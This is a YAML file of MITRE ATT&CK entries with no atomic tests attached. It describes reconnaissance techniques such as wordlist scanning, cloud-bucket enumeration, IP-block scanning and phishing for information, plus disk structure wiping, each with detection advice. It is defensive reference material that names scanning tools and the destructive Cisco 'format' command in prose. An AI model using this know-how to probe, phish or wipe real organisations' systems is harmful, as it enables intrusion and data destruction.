      id: attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46
      created: '2022-03-04T18:56:38.844Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1595.003
        url: https://attack.mitre.org/techniques/T1595/003
      - source_name: ClearSky Lebanese Cedar Jan 2021
        url: https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf
        description: ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT
          Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February
          10, 2021.
      - source_name: GCPBucketBrute
        url: https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/
        description: Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP)
          Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022.
      - source_name: S3Recon GitHub
        url: https://github.com/clarketm/s3recon
        description: Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March
          4, 2022.
      x_mitre_deprecated: false
      revoked: false
      description: "Adversaries may iteratively probe infrastructure using brute-forcing
        and crawling techniques. While this technique employs similar methods to [Brute
        Force](https://attack.mitre.org/techniques/T1110), its goal is the identification
        of content and infrastructure rather than the discovery of valid credentials.
        Wordlists used in these scans may contain generic, commonly used names and
        file extensions or terms specific to a particular software. Adversaries may
        also create custom, target-specific wordlists using data gathered from other
        Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591),
        or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor
        example, adversaries may use web content discovery tools such as Dirb, DirBuster,
        and GoBuster and generic or custom wordlists to enumerate a website’s pages
        and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help
        them to discover old, vulnerable pages or hidden administrative portals that
        could become the target of further operations (ex: [Exploit Public-Facing
        Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).
        \ \n\nAs cloud storage solutions typically use globally unique names, adversaries
        may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute
        to enumerate public and private buckets on cloud infrastructure.(Citation:
        S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered,
        adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530)
        to access valuable information that can be exfiltrated or used to escalate
        privileges and move laterally. "
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Wordlist Scanning
      x_mitre_detection: "Monitor for suspicious network traffic that could be indicative
        of scanning, such as large quantities originating from a single source (especially
        if the source is known to be associated with an adversary/botnet). Monitor
        for access to S3 buckets, especially those that are not intended to be publicly
        accessible. \n\nMuch of this activity may have a very high occurrence and
        associated false positive rate, as well as potentially taking place outside
        the visibility of the target organization, making detection difficult for
        defenders. \n\nDetection efforts may be focused on related stages of the adversary
        lifecycle, such as during Initial Access."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1591.004:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4
      type: attack-pattern
      created: '2020-10-02T16:37:30.015Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1591.004
        url: https://attack.mitre.org/techniques/T1591/004
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Identify Roles
      description: |-
        Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1598:
    technique:
      modified: '2023-09-08T20:28:49.600Z'
      name: Phishing for Information
      description: "Adversaries may send phishing messages to elicit sensitive information
        that can be used during targeting. Phishing for information is an attempt
        to trick targets into divulging information, frequently credentials or other
        actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566)
        in that the objective is gathering data from the victim rather than executing
        malicious code.\n\nAll forms of phishing are electronically delivered social
        engineering. Phishing can be targeted, known as spearphishing. In spearphishing,
        a specific individual, company, or industry will be targeted by the adversary.
        More generally, adversaries can conduct non-targeted phishing, such as in
        mass credential harvesting campaigns.\n\nAdversaries may also try to obtain
        information directly through the exchange of emails, instant messages, or
        other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation:
        TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation:
        GitHub Phishery) Victims may also receive phishing messages that direct them
        to call a phone number where the adversary attempts to collect confidential
        information.(Citation: Avertium callback phishing)\n\nPhishing for information
        frequently involves social engineering techniques, such as posing as a source
        with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)
        or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or
        sending multiple, seemingly urgent messages. Another way to accomplish this
        is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the
        sender which can be used to fool both the human recipient as well as automated
        security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information
        may also involve evasive techniques, such as removing or manipulating emails
        or metadata/headers from compromised accounts being abused to send messages
        (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation:
        Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_contributors:
      - Philip Winther
      - Sebastian Salla, McAfee
      - Robert Simmons, @MalwareUtkonos
      - Ohad Zaidenberg, @ohad_mz
      - Liora Itkin
      - Liran Ravich, CardinalOps
      - Scott Cook, Capital One
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)

        When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.

        Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      type: attack-pattern
      id: attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a
      created: '2020-10-02T17:07:01.502Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1598
        external_id: T1598
      - source_name: ACSC Email Spoofing
        description: Australian Cyber Security Centre. (2012, December). Mitigating
          Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.
        url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf
      - source_name: Avertium callback phishing
        description: Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK
          PHISHING. Retrieved February 2, 2023.
        url: https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing
      - source_name: TrendMictro Phishing
        description: Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved
          October 20, 2020.
        url: https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html
      - source_name: Sophos Attachment
        description: 'Ducklin, P. (2020, October 2). Serious Security: Phishing without
          links – when phishers bring along their own web pages. Retrieved October
          20, 2020.'
        url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/
      - source_name: cyberproof-double-bounce
        description: Itkin, Liora. (2022, September 1). Double-bounced attacks with
          email spoofing . Retrieved February 24, 2023.
        url: https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends
      - source_name: PCMag FakeLogin
        description: Kan, M. (2019, October 24). Hackers Try to Phish United Nations
          Staffers With Fake Login Pages. Retrieved October 20, 2020.
        url: https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages
      - source_name: Microsoft Anti Spoofing
        description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP.
          Retrieved October 19, 2020.
        url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide
      - source_name: Microsoft OAuth Spam 2022
        description: Microsoft. (2023, September 22). Malicious OAuth applications
          abuse cloud email services to spread spam. Retrieved March 13, 2023.
        url: https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/
      - source_name: ThreatPost Social Media Phishing
        description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching
          Pad For Phishing Attacks. Retrieved October 20, 2020.'
        url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
      - source_name: Proofpoint-spoof
        description: Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February
          24, 2023.
        url: https://www.proofpoint.com/us/threat-reference/email-spoofing
      - source_name: GitHub Phishery
        description: Ryan Hanson. (2016, September 24). phishery. Retrieved October
          23, 2020.
        url: https://github.com/ryhanson/phishery
      - source_name: Palo Alto Unit 42 VBA Infostealer 2014
        description: Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated
          Infostealer Campaign. Retrieved March 13, 2023.
        url: https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1595.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120
      type: attack-pattern
      created: '2020-10-02T16:54:23.193Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1595.001
        url: https://attack.mitre.org/techniques/T1595/001
      - source_name: Botnet Scan
        url: https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf
        description: Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from
          a Botnet. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Scanning IP Blocks
      description: |-
        Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.

        Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1590.001:
    technique:
      modified: '2022-10-21T14:32:05.257Z'
      name: Domain Properties
      description: |-
        Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      type: attack-pattern
      id: attack-pattern--e3b168bd-fcd7-439e-9382-2e6c2f63514d
      created: '2020-10-02T15:46:24.670Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1590/001
        external_id: T1590.001
      - source_name: Circl Passive DNS
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
        url: https://www.circl.lu/services/passive-dns/
      - source_name: Azure Active Directory Reconnaisance
        description: 'Dr. Nestori Syynimaa. (2020, June 13). Just looking: Azure Active
          Directory reconnaissance as an outsider. Retrieved May 27, 2022.'
        url: https://o365blog.com/post/just-looking/
      - source_name: DNS Dumpster
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
        url: https://dnsdumpster.com/
      - source_name: Office 265 Azure Domain Availability
        description: 'Microsoft. (2017, January 23). (Cloud) Tip of the Day: Advanced
          way to check domain availability for Office 365 and Azure. Retrieved May
          27, 2022.'
        url: https://docs.microsoft.com/en-us/archive/blogs/tip_of_the_day/cloud-tip-of-the-day-advanced-way-to-check-domain-availability-for-office-365-and-azure
      - source_name: WHOIS
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
        url: https://www.whois.net/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1596.005:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f
      type: attack-pattern
      created: '2020-10-02T17:00:44.586Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1596.005
        url: https://attack.mitre.org/techniques/T1596/005
      - source_name: Shodan
        url: https://shodan.io
        description: Shodan. (n.d.). Shodan. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Scan Databases
      description: |-
        Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)

        Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1591.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867
      type: attack-pattern
      created: '2020-10-02T16:32:33.126Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1591.001
        url: https://attack.mitre.org/techniques/T1591/001
      - source_name: ThreatPost Broadvoice Leak
        url: https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
        description: Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records,
          Personal Voicemail Transcripts. Retrieved October 20, 2020.
      - source_name: SEC EDGAR Search
        url: https://www.sec.gov/edgar/search-and-access
        description: U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August
          27, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: Determine Physical Locations
      description: |-
        Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.

        Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1598.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Robert Simmons, @MalwareUtkonos
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6
      type: attack-pattern
      created: '2020-10-02T17:08:07.742Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1598.001
        url: https://attack.mitre.org/techniques/T1598/001
      - source_name: ThreatPost Social Media Phishing
        url: https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/
        description: 'O''Donnell, L. (2020, October 20). Facebook: A Top Launching
          Pad For Phishing Attacks. Retrieved October 20, 2020.'
      modified: '2022-04-25T14:00:00.188Z'
      name: Spearphishing Service
      description: |-
        Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.

        All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
impact:
  T1561.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Disk Structure Wipe
      description: "Adversaries may corrupt or wipe the disk data structures on a
        hard drive necessary to boot a system; targeting specific critical systems
        or in large numbers in a network to interrupt availability to system and network
        resources. \n\nAdversaries may attempt to render the system unable to boot
        by overwriting critical data located in structures such as the master boot
        record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation:
        FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation:
        Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained
        in disk structures may include the initial executable code for loading an
        operating system or the location of the file system partitions on disk. If
        this information is not present, the computer will not be able to load an
        operating system during the boot process, leaving the computer unavailable.
        [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be
        performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001)
        if all sectors of a disk are wiped.\n\nOn a network devices, adversaries may
        reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        commands such as `format`.(Citation: format_cmd_cisco)\n\nTo maximize impact
        on the target organization, malware designed for destroying disk structures
        may have worm-like features to propagate across a network by leveraging other
        techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078),
        [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows
        Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec
        Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon
        Nov 2016)(Citation: Kaspersky StoneDrill 2017)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_contributors:
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the <code>\\\\.\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.

        For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Driver: Driver Load'
      - 'Drive: Drive Modification'
      - 'Drive: Drive Access'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9
      created: '2020-02-20T22:10:20.484Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1561/002
        external_id: T1561.002
      - source_name: format_cmd_cisco
        description: Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals
          Command Reference. Retrieved July 13, 2022.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668
      - source_name: Unit 42 Shamoon3 2018
        description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
          Organization. Retrieved March 14, 2019.
        url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
      - source_name: Palo Alto Shamoon Nov 2016
        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
          Wiper. Retrieved January 11, 2017.'
        url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
      - source_name: FireEye Shamoon Nov 2016
        description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
          Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
        url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
      - source_name: Kaspersky StoneDrill 2017
        description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
          Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
      - source_name: Microsoft Sysmon v6 May 2017
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
      - source_name: Symantec Shamoon 2012
        description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
          14, 2019.
        url: https://www.symantec.com/connect/blogs/shamoon-attacks
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
